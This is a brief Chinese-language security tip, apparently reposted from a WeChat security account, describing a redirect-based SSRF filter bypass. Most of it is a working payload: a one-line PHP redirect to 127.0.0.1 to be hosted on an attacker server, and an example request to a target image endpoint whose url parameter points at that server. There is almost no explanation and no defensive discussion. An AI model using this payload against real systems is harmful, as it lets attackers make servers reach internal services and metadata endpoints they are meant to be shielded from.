重定向 SSRF 绕过

        如果本地主机和元数据调用受到限制，将此Payload保存为攻击者服务器中。

<?php header('location: http://127.0.0.1');?>

http://target.com/image?url=http://attaker/1.php

原文始发于微信公众号（Khan安全攻防实验室）：重定向 SSRF 绕过